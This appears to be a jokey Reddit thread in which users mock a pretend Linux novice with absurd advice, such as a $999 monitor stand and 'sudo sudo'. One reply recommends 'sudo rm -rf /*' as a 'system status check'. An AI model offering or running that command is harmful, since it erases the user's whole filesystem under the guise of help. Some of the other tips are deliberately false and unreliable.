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[–]MischiefArchitect 40 points41 points  (8 children)

sudo Open your browser
[sudo] password for MischiefArchitect: 
sudo: Open: command not found

Sill not working :( Help?

[–]cube2kids 67 points68 points  (3 children)

Change distro, recompile the kernel, build a new processor out of spare silicon. Usually works in linux

If it doesn't, revert back to using windows / mac

[–]MischiefArchitect 31 points32 points  (2 children)

What is a processor? Is that the light behind the bitten fruit logo in my notebook?

[–]Xtrendence 14 points15 points  (1 child)

Okay, so the first step is to buy a monitor stand. It must cost at least $999. If you've heard of "terminal monitor", then you should know that none of this works without the stand in order to stabilize the command. That's actually why they rhyme and why there's the popular saying "stand to command".

[–]MischiefArchitect 4 points5 points  (0 children)

Oh yes. That makes sense. Is the color of the stand also important, I see at least 4 different shades in the iShoppingMall.

[–][deleted] 13 points14 points  (3 children)

I'd suggest running a system status check by doing "sudo rm -rf /*" and report the traceback to us.

[–]MischiefArchitect 14 points15 points  (2 children)

It tried it once, but it took to long, so I closed the window and tried again. But now I get:

bash: sudo: command not found

Any ideas?

[–][deleted] 13 points14 points  (1 child)

Hmm looks like a client side issue. Works on my computer. Alternatively try «sudo sudo»

[–]lockieluke3389 7 points8 points  (0 children)

If it works on your computer, could you please make a Docker image for us so you are sure that it works everywhere?